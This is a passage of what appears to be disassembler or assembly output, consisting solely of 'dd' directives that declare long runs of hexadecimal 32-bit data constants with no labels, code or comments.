4CFC172Eh, 9D2ADE16h, 928B57A1h dd 0D3240A0Bh, 716A7972h, 9FA7CFE7h, 7FF8B5C2h, 5E6A304Fh dd 0CB3B8E92h, 76A368F2h, 0C4592F54h, 0FDFA0A34h, 53D9C150h dd 50740C1Bh, 0C4601BFAh, 6E004E51h, 7F2F9170h, 0FC0362C5h dd 0B387FD50h, 562F38EAh, 0FDD849ECh, 400223A1h, 6EC2B794h dd 0D7D7EAB9h, 0AC6988FBh, 6B103620h, 0DAC96CBCh, 0A807890Dh dd 253A1DC0h, 0D10D7EB5h, 0D2251279h, 83B036A9h, 0C8E913h dd 341506E9h, 6953F742h, 0AB092537h, 24E38E68h, 5E9160C8h dd 9F08DDC0h, 465B7EB0h, 0C936EA8h, 0F966501Bh, 0B76CC5FFh dd 61191CF3h, 8881269Ch, 56EAE492h, 67B4DA9Eh, 35B020A6h dd 0ECAFF166h, 95DD848Eh, 93BE21E9h, 75ABA71Eh, 38B5AD76h dd 0E76E710Eh, 83205A5Fh, 6BD027h, 0EA218AD0h, 0DEFCA8BCh dd 3F476F6h, 2A3E51Eh, 16CB8573h, 0BE631896h, 167FE512h dd 3A179DD0h, 34919827h, 0A270405Bh, 8ECBDEDAh, 85C69F20h dd 54DA50AAh, 0A9F78A6Bh, 0C41A7C46h, 1754D135h, 3AEAD48Eh dd 66666A30h, 9FE2A95Ch, 4E555D49h, 6593E64Eh, 173E07C7h dd 0B45554BAh, 0A282A53Dh, 0A4B03C03h, 5E96242Bh, 0E2DD3374h dd 6C47B9Bh, 0C8C6A62Bh, 0FB0A2BD8h, 0C5FAAD4Fh, 0F30F0D05h dd 236784A4h, 0EE6989AFh, 23524Fh, 3A0EC5B6h, 5071C62Dh dd 65BAC573h, 7E7EA5C2h, 0A597F297h, 0A0A91242h, 4A9562BFh dd 0B31EA93h, 6C176E83h, 0DCFDE0Bh, 0D1E270Ah, 0F2BE0D98h dd 615913BCh, 6FAFE17Ah, 0DAC34D45h, 1F07DD21h, 0E4436CE0h dd 55D1E385h, 2CEF7D0Ch, 0C690C176h, 921767FBh, 31473AAAh dd 11EC2B98h, 0B8A9650Dh, 9B6FC2C8h, 1BA66EE6h, 0E068DE05h dd 0CC9D891Eh, 8F9705D8h, 9D507E3Ah, 0A51867BDh, 99447064h dd 32AFBD5Bh, 0A45A8A94h dd 4CFACE21h, 175F51F0h, 6862247Ah, 4BDD7155h, 48A82649h dd 83565C05h, 2BE625BDh, 547F59DEh, 0CE31721Eh, 0CBCB53E2h dd 0E0145454h, 7014A7CAh, 0B9D67EDh, 540562DDh, 4C3D90EFh dd 76040742h, 8C348552h, 0F3EF05F3h, 0BC59670Ch, 55A9FC0h dd 0C1CC651Fh, 6A365348h, 4A5FE331h, 68B2548Bh, 0ECE097BEh dd 0C2D08BA3h, 6BC0E08Eh, 0D62C98C0h, 8CCB05E3h, 32496F0Ch dd 6706239h, 5BAD9F1Bh, 0FA2754F2h, 0E17E312Ah, 0B623E11Ch dd 2E5F5118h, 5DF578C1h, 0A19236F0h, 0F876AD39h, 1626685Bh dd 457C2544h, 0E123F633h, 31B83161h, 20F1AEA3h, 0DEA9AA7Fh dd 0A9822AC5h, 27DAB9E7h, 66D12E4Fh, 274EEB2Fh, 0D3F088D6h dd 0A790A6E0h, 9132FB6Eh, 7AAD8ED6h, 0D4B07D1Dh, 7B62DEECh dd 0DDEF19Dh, 4CDDC268h, 9CF6D8CEh, 34F4A7D7h, 4B901805h dd 8CE4D694h, 0EF4C4EE9h, 8B0A380Ch, 4986C18h, 0D3C58736h dd 2F4BEB40h, 98FD15A0h, 0C8BB1C5h, 0AB8C5BB3h, 24F22BA3h dd 6BB16F31h, 0D1857530h, 0BCA5B7D2h, 3FF223BEh, 0E71A8F02h dd 0FB3169Ch, 0C601A163h, 479660D5h, 2E7A591Fh, 0C82475E8h dd 15CD29CEh, 9C29C216h, 0D31E2B18h, 923C41A8h, 0DC7D0A48h dd 0E8293048h, 0ED2D0199h, 470B177Dh, 0F562DC70h, 2647EB06h dd 2D5B82CAh, 0CDB8C215h, 0C4B49B8Fh, 1BF0508h, 0C25A3228h dd 0F7DF345Dh, 0C5081DEEh, 361E1B5Dh, 0CCA21E1h, 30EBFC59h dd 60A8C431h, 1FF2E245h, 8E3F134h, 3FB3D41Ah, 7B1AEDC0h dd 9E40E9F3h, 451BF294h, 0B241E5B2h, 510ECF0Bh, 51313734h dd 0D59CD425h, 306C7445h, 0D1623748h, 0A74025D3h, 0FF55CF43h dd 7AB236FFh, 28781E5h, 747BDB75h, 0D667F11Ch, 5BF259E2h dd 54405F2Ah, 0B6CAB30Bh, 0ED58FA6Ah, 3EC1D56Fh, 0DF70A9B8h dd 0B27C431Fh, 6E8B0C75h, 663E0BD3h, 0DFFB2CE1h, 3EBEDF2Bh dd 0D80B2C8Ah, 2B8D5863h, 32FDD8BBh, 26437F4Fh, 70AC8DC2h dd 93FC2804h, 9F0C9471h, 0A555ED3Fh, 2BB478DCh, 6126DB32h dd 0DC73C1A2h, 7D39BACh, 0EFBC8C8Ah, 0F48E474Eh, 6EC357ACh dd 309AB2C9h, 56F67C37h, 1579E296h, 317E65A2h, 8D3ABFF4h dd 0C5A35054h, 5610E6DBh, 0CAEC89D8h, 5A61ABC4h, 5B59C990h dd 7408DA58h, 0A2ECA43Bh, 215B2E43h, 0A377C0EBh, 6C90476h dd 7E4C20Eh, 3DBA0D71h, 62DE68A6h, 67975495h, 60F2736Fh dd 606ECA60h, 59842F4Dh, 18B9A590h, 6C7869F6h, 0C8D2B93h dd 0F99DC92Fh, 4380C5Eh, 0E250AE98h, 1B31932h, 0A7E13713h dd 8429D818h, 5418AC8Dh, 0DF257EF7h, 5B7EB541h, 0A51D1355h dd 2C7B2A0Fh, 6F09C488h, 0C283064Ch, 90E9FB15h, 5ED14377h dd 6C0164Fh, 6CB0D3B3h, 2800870h, 0C054A17h, 83C461D2h dd 0D847EB55h, 607D62C6h, 0EAAFD3FDh, 0DD71651Eh, 0D7410EDEh dd 53C466C0h, 7F88ECD5h, 0CFEB0835h, 18081E46h, 0CCADEA34h dd 0CAD776D9h, 0E32B68C1h, 565522CFh, 0C0F0827Ch, 76E3E7ECh dd 0A75A24Eh, 0EAC23685h, 0AB9AB388h, 0E88510C7h, 77A20B27h dd 58A70D4Eh, 0B7B1167Ah, 8028B48Ah, 70FEFBB9h, 4AF75096h dd 76682A6h, 0BC0ABE6Dh, 9A004ABFh, 0FF477B7Fh, 134CA9BAh dd 7ECE8CADh, 0F84A0547h, 4D71FBD6h, 0BDD48B4Ah, 0E2A8D4ECh dd 65A81997h, 0C394CF63h, 0CA5CD587h, 1FD5DF15h, 2EF5DB1Bh dd 665F8AA3h, 9699C441h, 1AD7B4C0h, 0E1B15FA3h, 9726BE56h dd 0E876A8CDh, 0DBEE4DD4h, 36D8A8C2h, 56320533h, 60F9D52Eh dd 4B7DBBA0h, 287AEEFh, 6AD6956Eh, 78464CFCh, 0DC356415h dd 0CBB38102h, 0E77565A2h, 7408B4ACh, 0E35B9EACh, 0AD16C742h dd 0FE6BAFD6h, 57AF5913h, 14A861CBh, 7DAC24ECh, 0D6D8065Eh dd 56AD57A7h, 0B7DF25F1h, 0C96DBE5Bh, 3D5B40C1h, 0E3290F0Dh dd 9B52B061h, 8A678A78h, 94107653h, 92069817h, 3E9D3CDFh dd 0AED3118h, 0ABD79B3h, 7AA50A9Fh, 4D43147Eh, 4698B58Bh dd 1B311046h, 7C5CE060h, 56C27A96h, 73FC8EA0h, 0C0EFF183h dd 841332A1h, 0AA17CFFAh, 98564F45h, 8D8010F2h, 3D511436h dd 446ABE4Ch, 5ED5D67Dh, 974162D0h, 3736984Eh, 0F4BDA712h dd 0CD119C97h, 32CA3DDDh, 0B76541D5h, 0C1A19B1Dh, 1AC4FA0Ah dd 40699883h, 0BB0D4A3Dh, 22159A80h, 8A15F2A2h, 36F51226h dd 55F4A9C1h, 2E0690CDh, 3508D15Bh, 7A60C559h, 6EB46929h dd 5EF608C7h, 7F0FBBD0h, 0E0F79554h, 0BF037EF4h, 30E5A266h dd 0E215DB94h, 71FA727Fh, 75817318h, 0A034EDA4h, 0FDEC389Dh dd 7CFBC5A4h, 398739FEh, 0DF6F3D3h, 7FF4412Ah, 598D8202h dd 0A6B8498Ah, 5CFD1889h, 290B64ADh, 4170C604h, 2E4516ABh dd 416ABAF1h, 15700B85h, 256306ECh, 9A8E8765h, 0AE317119h dd 7EE65395h, 85219250h, 0C2B3E9ADh, 6A6C73F9h, 0F0BF6877h dd 0C353BC08h, 0A366BE4Bh, 0EE31175Dh, 0AA934137h, 9EEDADB2h dd 0AFF75178h, 6D848FECh, 9E192B92h, 45C27A1Eh, 0D27EAB48h dd 657A0A07h, 1478519Bh, 0E1A08FC6h, 7604B115h, 837DDCE3h dd 0E9839CEAh, 1E296A00h, 0AFDBAEFDh, 0B66C6C9Fh, 96B86756h dd 46CEFD39h, 0BF22DA76h, 4D31520Fh, 16334F0h, 7696FBFDh dd 84AAADA3h, 974C11F5h, 91DFDBBh, 6F358E07h, 0FFA19745h dd 0F2521A9Dh, 6878E948h, 0D9B7E457h, 1B825A25h, 7F1D6D31h dd 8B9E0033h, 0B37DAC2Ah, 2D1032D8h, 0FE89C77h, 0F9EAD70Ch dd 3D43C9FBh, 7E6564h, 2A4E4011h, 2088DED1h, 2C7EEAC2h dd 2D6FC086h, 0B708B2BBh, 0D7F76158h, 0A9BF6C3h, 0D506F289h dd 218E3856h, 0F9608C60h, 8D1FF22h, 970031FCh, 970D5D23h dd 0F860E96Fh, 653AE23Ah, 0D42EA185h, 0DFA143FFh, 0AC3DAC4Eh dd 0D54D7A1Ch, 6150BA69h, 8C72AF38h, 0BC959EE9h, 77E2CE55h dd 5370FB4Bh, 0D05A0D97h, 5D6F5DD8h, 17AF17Ah, 0DE9C9B7h dd 0E5B06978h, 83EF3A44h, 4E32A08Bh, 0E974FCF8h, 909C1D25h dd 0C83A40D2h, 7AB57634h, 0A8B49478h, 5774752Dh, 0F4318852h dd 0E529571Eh, 3ABA4777h, 4E9680C8h, 0C0C64278h, 0E28B10C2h dd 3327ACF0h, 7EF9F1FCh, 7A6C8577h, 2CA19ED2h, 893F4CA1h dd 55BEFD46h, 1450EB0Eh, 5CD25AA1h, 42A625CFh, 2398B3A9h dd 0BAA1C321h, 0EBF6E1E8h, 0CD739669h, 3FF3859h, 90803FF3h dd 409E3529h, 0AACC57ECh, 801262FCh, 0D855622Fh, 492DB096h dd 0D444163Dh, 751AA314h, 0DA038B4Eh, 519E0A74h, 5BFD5FDEh dd 84A8CD0Bh, 8D9A4E1Bh, 8E40BF75h, 0DCFA73D8h, 1657E239h dd 571825A6h, 0C6FAF2B2h, 6919DC1h, 11F35AA4h, 6EBDFE42h dd 196F9C32h, 0F44FD32Dh, 0E8A0FBADh, 61F49369h, 0D717E6E5h dd 675E2FEAh, 6D7CD410h, 117EE1E8h, 0AD1B2F90h, 1FB64526h dd 0EE500DE6h, 0EAFBD502h, 2C921308h, 7693DE11h, 0A16B60E4h dd 3EF38D5Ch, 5DC773EDh, 0D2A7E3FEh, 39A44476h, 48B6393Ah dd 0EE865A10h, 402AD2B4h, 5667D98h, 0D23C6BAh, 0FB887F43h dd 0BD84C0C4h, 0DF8B425Ch, 3D971D74h, 0F84EE01h, 47DD93E7h dd 5DCCE503h, 1E0E94B1h, 329E685h, 0AC1CFD3Eh, 0F26DB76Ah dd 49DAC5AFh, 25DFB880h, 0CEC83AFBh, 3AB929D2h, 8198BFD3h dd 0E647A934h, 0E0BBB3D8h, 0DD29CA95h, 4485EE0Eh, 4C776EDEh dd 116C9418h, 0A084F9F5h, 4705E81Dh, 34FBFD9Eh, 0D34BF726h dd 0DB746D33h, 466F66FAh, 0C4B622F1h, 0FE676A31h, 3D8C3C22h dd 0F0958AAh, 6433F3F9h, 0A951DC5Ch, 31C318D4h, 240477h dd 0C66BE629h, 9367A305h dd 0A02989FCh, 0F0D2BFCBh, 21E17365h, 0B64D5825h, 4D6C0BE8h dd 43EEC5C2h, 455C9882h, 99B06FD4h, 0F86A4D9Fh, 95FD6BEBh dd 0D020BD94h, 0ED72BDB2h, 0E958910Ah, 0F2EF94E5h, 43945903h dd 9852941Fh, 0DE1A8C09h, 0DC63C2Dh, 0C20991DCh, 0B901B1C9h dd 0F43800E9h, 0F721A9C8h, 2BED8DAh, 6D3DD728h, 0D68E6AB9h dd 3CB21890h, 0E0595148h, 986249Ch, 1DD71BE8h, 0D2A3C56h dd 0A0431B26h, 41E9E44h, 4DBE0651h, 770686D1h, 2E3E380Eh dd 313EFF45h, 0F73C53Ch, 47492255h, 3D9CA4F8h, 20BEDC79h dd 0B5E6A9A0h, 0B4093C4Eh, 2BA42A94h, 96C32B53h, 6549095Fh dd 43211DEAh, 96C25B6Ah, 6BE93898h, 3ABB1ECDh, 7B9C847Ch dd 0E6125FE1h, 4BC8D7F4h, 56DAEB5Dh, 24D7C8E9h, 0A4D7E158h dd 8E670ED5h, 0E1BDD884h, 29ED1192h, 0A04B377Fh, 0BBF3D1B4h dd 0D956815Fh, 5A6A0953h, 7240488Dh, 55666E02h, 0E146F809h dd 71FE9084h, 3DA28D5Fh, 0F5A75039h, 0F908C413h, 188A0244h dd 0A67FFDD3h, 5126509Ch, 2FDDB66Dh, 9C546646h, 6DCA7A57h dd 5EE8F3AEh, 12E78D49h, 31F63152h, 0F21B9487h, 0D6ECFCEDh dd 677C90FCh, 6457DB45h, 0F6F6410Ch, 64051867h, 0BEBC9A7Eh dd 0D53F4664h, 0C4F44C70h, 32E8E05Ch, 0C62B30B3h, 0A504859Dh dd 0B1C27531h, 0FA2A38h, 0BC9F27A9h, 0C6526BF8h, 0AF2CC681h dd 9A66A9C9h, 69328979h, 814606CAh, 276B53A9h, 74635689h dd 28F407CAh, 1E838EA5h, 0DF7AF570h, 0E6EFE999h, 50D6E6B1h dd 7B1E581Ah, 0ACFDA8A7h, 1C3E7C0Ch, 73132E19h, 3765B33Fh dd 9A8EA6B1h, 0D895A06Bh, 33E6499Ah, 0D8E73D47h, 9D1C0F61h dd 0E6784923h, 4488B163h, 2C05ADB6h, 0AB43B763h, 0C1C311EFh dd 5A76F6Ah, 86A85B7h, 8133101Bh, 0C2A29EAEh, 18231602h dd 0DE8414F6h, 2D458A44h, 2630D7F2h, 36A16F8Bh, 549D8053h dd 0F48A48A2h, 6A116A0Fh, 0D01A310Dh, 1209029Bh, 8C74480h dd 7BF3405h, 337692AAh, 557F35F5h, 6AAB49F8h, 0D0916527h dd 2F9C3F33h, 0C15336D9h, 19E6CC06h, 97E9537Fh, 0A02D5D82h dd 4B7F94BDh, 0B22375F0h, 3BE3F3BEh, 36D5B493h, 0BDE62D85h dd 0A90717E9h, 0B9E232Eh, 7DD6E88Ch, 305F3BA7h, 0FE239199h dd 0C88CD332h, 9CEF90h, 5ABDD91Eh, 1C29551Dh, 353268D6h dd 0C2943450h, 422BE416h, 76CD046h, 0BF447271h, 1A3DACD9h dd 234743BDh, 58A162A2h, 0AB2487E4h, 24F97B74h, 18D38FA2h dd 0C5A64F01h, 46CF3806h, 20F4FA5Ch, 0B2DE26E8h, 13974097h dd 0F79400F4h, 84F4D971h, 1A3CC627h, 0AAA376F1h, 84D1DA53h dd 3BAC20A8h, 0C75B2953h, 0A5C9232Bh, 3E5D597Ah, 0A922477Fh dd 0CE55D3B2h, 1C5F9FEEh, 0AF7DA28Ah, 48D579B9h, 0F7D3A98Fh dd 9AB5524Dh, 92EC1B4Bh, 8AE8DF0Ah, 0D1108AB7h, 0C368EA7h dd 0E960FD42h, 53EFA0FCh, 279D0291h, 962F9053h, 0BA1EC8F9h dd 0FED671FEh, 80798E45h, 9D2A6188h, 8AE4BC14h, 0CE48F08Dh dd 0AECD2ED0h, 69EA57A4h, 8DEE3F46h, 46D0F6B7h, 45724C44h dd 0EE60E519h, 45223556h, 0DE5FCA76h, 666F679Dh, 550D8B15h dd 0C7897100h, 9C01F854h, 0F232CE13h, 0CF6005F3h, 7D99D0FAh dd 0B2427E64h, 6C0F9D3Ch, 0E2724EAEh, 7B90128Ch, 0B534AEADh dd 0E309831Fh, 0AE433CBCh, 7C1654E7h, 9C52CDC0h, 0BBA1853Fh dd 0F9F002EBh, 2A30B4BEh, 0BE047AB4h, 54D2267Fh, 0F5D9C20Fh dd 0F66AAE22h, 15ABEDB1h, 0B40222EFh, 4490A50Eh, 0FFD04041h dd 1BC1B768h, 5DC14CE5h, 38D10C72h, 0D60E487h, 0FE6A46A0h dd 42EC9C1h, 12E15573h, 9A2B9677h, 9FCFE270h, 3E1C155Dh dd 1D6580E7h, 1578D6E4h, 0DC0DD4E2h, 9C73BD0h, 0E2F68821h dd 0AF296E20h, 5DAFC327h, 570535E2h, 0EEBC0D79h, 0B39C1A49h dd 0FD4DE84Bh, 0CC261ED2h, 14E29F43h, 0C0E29AF3h, 0DA0D839Fh dd 0E5D1ABE1h, 79AF7967h, 0A936C0CCh, 75BBAD30h, 0C6E87F00h dd 0DB304355h, 0D7FCACC7h, 4510FBD1h, 0C3CBF380h, 543FF4E3h dd 0CD675F67h, 0B6846D4h, 8C69698Dh, 113EFC14h, 0B15079F0h dd 2DB6604Dh, 6F7ED072h, 9C4B21A0h, 0B83A3924h, 55ACF827h dd 0E52CD0A7h, 4C7BCEE2h, 55E86023h, 93421527h, 1A67A41Ah dd 0FE346DCBh, 8684BED7h, 1B6727EDh, 0A4AFE011h, 0A8ABFDC7h dd 50F0B035h, 0AF267E07h, 704E7A64h, 219B1834h, 4587BE66h dd 5C4C3F8Ch, 0EB42376Ah, 0DD90A220h, 0A90AD1C7h, 2140DF9Ah dd 7435480Bh, 59A7052h, 0BA2BECD4h, 0B8A03162h, 0A26BE05Ch dd 0D6A9DF8h, 1C08ACB2h, 0FCE6AE45h, 0C2E9CE49h, 2420DF76h dd 25EB23F5h, 0CA978D82h, 2742C557h, 1BE7FD60h, 34FB16Ah dd 0CF71C159h, 0F339347Eh, 3D715296h, 0B123D432h, 0F291268Fh dd 3E205ADAh, 0B41E2BDh, 0E2FF1311h, 0E9C2D80Bh, 0DFA3A8F2h dd 152A2C09h, 59BEA5BFh, 8AA41DE9h, 0FF184B8Dh, 7B3E4A7Ch dd 0D331075Ch, 14BEA0C7h, 39794EB4h, 0D4809919h, 163A10BCh dd 9C008512h, 89AE02F0h, 5D3E8E93h, 325254B8h, 9F0A1B72h dd 0C5B42383h, 22C70B0Ah, 924E49F4h, 28C8FA66h, 5DDAFC8Dh dd 60A39181h, 2A7693CFh, 9D9D68A9h, 0F7C65155h, 0A4F4DE19h dd 30F6C5E9h, 6F449A54h, 0F9F4003Fh, 0BF6A1DA5h, 0C3669745h dd 0E93335D1h, 0E4CF1164h, 0BFCF1B05h, 77753E90h, 1537CC2h dd 967312DDh, 27828109h, 0B3691866h, 33FA0B3Eh, 9E0FE0D2h dd 0CA661728h, 0F8508811h, 9D2B987Eh, 45162CE9h, 0D14C4C09h dd 99893FE0h, 7C401071h, 2E51B8D6h, 39B0F4E0h, 8D4817D3h dd 793A8AADh, 93388031h, 1C58FE53h, 0D8006F57h, 0EC9B440Ch dd 0FFF441C4h, 8B11E658h, 49DD6010h, 1FEC58B9h, 0AA46E1CFh dd 6FF51C70h, 0F3C4D610h, 0A1972DC9h, 1126FF4Ch, 0FE1FF0DAh dd 8B8FAAEBh, 8776A64h, 67D3E561h, 3AFF4C14h, 0E7112B4Ah dd 0FFF1C05h, 0E5437C31h, 7FFD9611h, 0A7B1325Bh, 6F2CB273h dd 0D746D945h, 0EA0FAD04h, 69FD8BF2h, 0A827974Eh, 2433D4BBh dd 0A2910048h, 0C05D91C9h, 0ED2796ACh, 737567C1h, 86F68EDh dd 0E0A3C67Eh, 0FD8F7FD2h, 0F2D5DE65h, 5E64C44Dh, 0CF0B57A9h dd 9727331Ah, 0B5EC37DAh, 0CBBDC3F5h, 971717B0h, 5DEBE99Fh dd 0AEE66D53h, 5188044Bh, 0D2E7203Fh, 9B71FB0h, 0DF8D14Fh dd 7A846B5Fh, 0F8AEEA7Fh, 0EF775B25h, 411BD8Ah, 0C1C1F871h dd 86906FA7h, 899F9Eh, 3663C098h, 0D234AB6Dh, 3FA80178h dd 0CC51DEACh, 0BAD6F7B9h, 0FD30B6E0h, 0E12FA45h, 0B2387915h dd 858F9AA8h, 51FD75ADh, 551FAAD0h, 24712CF4h, 8E456E26h dd 0C99DEBAEh, 886CF41Bh, 0D7EBB142h, 0B0FB6665h, 0AB63F150h dd 0C2615E61h, 2AB440E6h, 27B32310h, 11CE74A7h, 5D8D7438h dd 356CBA52h, 0B5253100h, 0C97C4C66h, 0F0B5EAB5h, 8B50008Eh dd 7DA33271h, 0BAD409E4h, 0AC18B03Eh, 0B46A4ACDh, 0F93BC8A9h dd 7EDA0045h, 13B412DBh, 0B424B199h, 0A20E612h, 9D1DA538h dd 0D84002F6h, 3AFA1A8Ah, 16FB0DE2h, 74C46F83h, 0E6B6CC51h dd 9B3C5D4h, 8BBF2F0Dh, 0A763F2E9h, 96C04AD7h, 0E3BD80FEh dd 1233D2E0h, 0C4D29D8Fh, 0F9208E7Fh, 0B4DE79DEh, 0AD33C8AAh dd 0FBC72B99h, 0DB9769C8h, 0F0125DADh, 885A56E6h, 98F6FE65h dd 6CC88321h, 2A50A6B6h, 0F166B28h, 1F44B1B7h, 411E1E84h dd 0A53FCC22h, 363656FCh, 66D01BC9h, 0DC3DFD0Ah, 8BE66221h dd 0B4909A4Ch, 0BECF7B1Fh, 6AB6342Dh, 6FC3646Bh, 0BA168738h dd 0F40A093Dh, 2F237272h dd 765CEF34h, 0C7B0B9F8h, 0C6B0FF6Ch, 0B5B838D9h, 898067A0h dd 0CF4EFB1Dh, 0BF97A9CAh, 0A6440EC9h, 0CAA7E916h, 0B24B2A30h dd 8DBBEE3h, 0D1944514h, 0CBEA108Dh, 0B886755Fh, 726C1E18h dd 0E87A5A08h, 7F07F871h, 0ABB9F37h, 73E0A1B9h, 0F306FEE5h dd 177C5B87h, 88D16921h, 761B14E3h, 0A154F316h, 1BC55377h dd 8B854F4Fh, 0BE70470Bh, 0C3379E79h, 375460FCh, 9D9CF29Bh dd 5A337B50h, 9217F5Dh, 4F953AA8h, 52ABF502h, 5FA9DD03h dd 7D1C63B9h, 40497098h, 0FA7CE137h, 30A17513h, 14599061h dd 91394F23h, 0E18DF2D2h, 387FEB0Ch, 44AAB8D6h, 29DE3C38h dd 70FA3E65h, 0BB423A63h, 6B7BA4E8h, 47FA7A7Fh, 0BCDA6680h dd 7B1BF98Ah, 0DEABD7FCh, 69D8F602h, 65C43DD7h, 1BC5C3A7h dd 838135F3h, 4DCC72E9h, 0BFC461EDh, 3AC9ED87h, 0C2A3139Bh dd 33CEED46h, 0DDE6CD6Ch, 0ACFFCEB1h, 149D3042h, 5E4A7CCCh dd 6C0D3850h, 22E752BEh, 44F9547h, 645859E9h, 0BF2C558Bh dd 0EA3B7D88h, 13745798h, 40EB42ABh, 304FAEBDh, 3B47F10h dd 0EFD059FBh, 2C6AD50Bh, 482921EAh, 0F7C67A20h, 5AACCDC3h dd 563CBEF6h, 50DF1847h, 5E0CB986h, 32EB640Eh, 9BE6551Ch dd 0D6F6B1D9h, 7EF0CBD9h, 31DC9918h, 1230834Bh, 0DD571E81h dd 0BBC47F74h, 6A6E51B3h, 0B1FB197Dh, 0B7D54EC5h, 401CA516h dd 0B2291251h, 4B1675EDh, 0ABE0EFC1h, 1E84A9F3h, 0A217392Ch dd 1923FB06h, 3B62F8E6h, 6C9046CAh, 0A2661307h, 0F090F928h dd 0FD4C46CDh, 18FECE4Ch, 804108FAh, 0ED91BAE5h, 0A3F4E052h dd 0ABA8EFD4h, 0AF9DA543h, 76B1B116h, 59283DE0h, 5350C953h dd 0AE53488Ah, 0AE723CDh, 45DC77DAh, 70E61B87h, 9B8284B1h dd 413F07D9h, 0AB790472h, 25040CB2h, 16BCFA5Bh, 0CDEB562Ch dd 5AD30880h, 46BCB849h, 0D2C64433h, 6CBAD48Bh, 13183F5h dd 320C48C4h, 1FEB8BDBh, 0FBB2D448h, 3B22B6F8h, 31A92DF8h dd 4989C320h, 1F5A6BFFh, 7C97DDFEh, 911C04F2h, 0EC24381Fh dd 4ABA2A4Ah, 0E2EF09Bh, 43CC1909h, 82E4E43Ah, 18A58D8Bh dd 0F04BF818h, 0EF7CE907h, 7C613E9Bh, 0D8829A12h, 0AD14986Ah dd 238C482Eh, 979D680Eh, 8491FF69h, 0C1EF63F2h, 5B0C6165h dd 6EB56CC4h, 0F5059086h, 0D8F0D87h, 0EB32A1D6h, 0A2A11E68h dd 0EEC422E0h, 0D9AE3242h, 0CDD1F126h, 7E8A4BA0h, 62A7EFFFh dd 9024131Eh, 6BD72ECh, 128C6548h, 0F929012Fh, 34EECD25h dd 2853E0D0h, 0FFFA4864h, 254414DBh, 11BEE0B8h, 88D3F7F4h dd 0B59ADBD6h, 4284A39Dh, 57DC1095h, 4FA4E828h, 6B28B6C1h dd 48CF1E70h, 0E18D3711h, 71D90E19h, 712EF44Ch, 3DAF5EC9h dd 335EB4FBh, 70C5B6FEh, 0A5CE256Ah, 12CE83E0h, 85EEBE15h dd 590F78B4h, 8CEF29ADh, 8582C868h, 1FB007FEh, 0F4D9F44Ch dd 0F59AC579h, 0BD7B436Ch, 0EC81B20Bh, 0BBFE04D3h, 6ECDA1FAh dd 4AEAB3E2h, 0FF1509Dh, 2CF85C5Bh, 0B9FF608Dh, 28B7C6FAh dd 98927955h, 69A6C14Ah, 0F1204E41h, 64080B25h, 8B9EF324h dd 791254D3h, 0A19E04CDh, 1157CFE3h, 726E254Dh, 0C08C545Bh dd 0D057B88Ah, 0F5DADC90h, 0AA9733C3h, 1F86F9CFh, 63F5425Eh dd 0B83C70D1h, 6E6CF69Ah, 0A87A1294h, 0A07886BDh, 70404982h dd 0D0FFF962h, 4988DADEh, 0FEBCDA44h, 8E4247B3h, 0A1CEBA72h dd 574065F7h, 3A253455h, 99422937h, 2A1F743Ch, 2D238A1Ah dd 43852D2h, 32CBDDD8h, 0BE279B23h, 5AE27AE8h, 1650D23Ch dd 0B4E2B9CEh, 76B1E17Dh, 2D82FE0Ah, 57AEDFA7h, 555435E4h dd 7313E613h, 2515F178h, 0D8639F87h, 72650A1Dh, 0B395CB14h dd 738404D7h, 0E4A4EEDCh, 4B1E5C3Bh, 370DDE4Dh, 661CA0BCh dd 522CBFA9h, 0F27CE29Ch, 7D8133B1h, 0E181A34Ah, 3DE9A909h dd 0D545719Bh, 284C1755h, 0D64DF9Ah, 1B98362Dh, 744559E6h dd 616981DAh, 0C77B4090h, 5BB8CB73h, 27C9B324h, 5F48F77Ah dd 0D97926E0h, 8F3F08B6h, 9D9217B8h, 43D83040h, 102DC5F8h dd 0E4860203h, 0BD6D2043h, 6DB0A7EAh, 6368303Ah, 80D44C72h dd 0B7E41BFEh, 8931D3C4h, 7FA6DCC2h, 203AAF5Dh, 636F4B31h dd 0C300D2DAh, 0F70BA7AAh, 191269C2h, 0A3BE87Dh, 0CB7805Fh dd 271695C3h, 7964D55Bh, 4F9F13E9h, 648106E7h, 0A85293B7h dd 0B9F14954h, 0E168876Dh, 334372A8h, 4C9AF5A0h, 0EF9CC33Ah dd 0DDCB3ABCh, 4E8C13F9h, 43B21E65h, 381DD34Ch, 0DF2F8F73h dd 369D4B91h, 9AE657DCh, 96D48084h, 454E10D5h, 6DD29B73h dd 70585478h, 0EA92D5ACh, 18669729h, 6AEBEED9h, 330B77A0h dd 43BFEC3Dh, 0C7CC39B9h, 79AA6E27h, 8A85B75Ah, 0FA1380CDh dd 8916CADAh, 0E9760B23h, 5D036BF4h, 8BF55837h, 5A6A2F71h dd 319C4DEFh, 0F8E17164h, 0ABA8DD3Bh, 99C2308Fh, 7FF54A40h dd 0B4CDA0E3h, 0F125809Ch, 627D5BDAh, 6E1023A7h, 345F31D9h dd 23D9D150h, 0BF8390Eh, 6898D814h, 0CE43DC7Bh, 0EAE9C960h dd 8C3112ABh, 254464F5h, 0E19B5123h, 0BAC7E50Bh, 0D8F8BD9Dh dd 0A85E9C61h, 7237EAF1h, 7F887970h, 0D5A1529Ah, 0E6CC4C0Ah dd 0D455CE93h, 0C62D91B1h, 0EC914CFCh, 877787FBh, 77EE3C60h dd 1B4A10BFh, 3E73D988h, 0ACA7B176h, 0CEFDA614h, 0B403C5F3h dd 98DF7A14h, 0E659BC24h, 0EEEA9FEDh, 0CE60F1FEh, 77BAB4CDh dd 0AAE59230h, 0C88C7C24h, 6711986Bh, 0BE268B24h, 88727ACh dd 3D5B012Bh, 38E8E302h, 0E64329B8h, 0C9C52D0Ch, 49E48395h dd 0CE4921CAh, 0EF16628Ch, 28E6B685h, 9F54E84Eh, 8D1BD656h dd 0F15716EFh, 0FC3F2AA6h, 32EE2E71h, 3F830E8Eh, 0F19AABAh dd 580C0065h, 5E9438BFh, 0E4B3324Bh, 885A72B7h, 7A400675h dd 3A53EAF1h, 0A8FC9433h, 41A4790Fh, 0AD7ECDC1h, 65FF3E9Bh dd 0A39E382Bh, 1A6E25B8h, 72032429h, 4A78BF6Fh, 55A0AD18h dd 35D9D923h, 0ED1AA5C5h, 0CB7C2B94h, 0D178F076h, 0FD29902Dh dd 9D133844h, 5C227452h, 1589657h, 91523E97h, 621A8CDFh dd 1D142679h, 93D9088Ch, 8D98E15h, 48C93DFFh, 5FCD3320h dd 0B6A4CDB0h, 3AB25D22h, 0CA999815h, 204B1BD9h, 0BAB60C63h dd 4F5224CEh, 0AE8297A4h, 0B98B9B47h, 87EF9CA3h, 0FCCB1475h dd 64B7F2AAh, 0E2575128h, 0E7865EF1h, 0CFC94D01h, 0E1381AFCh 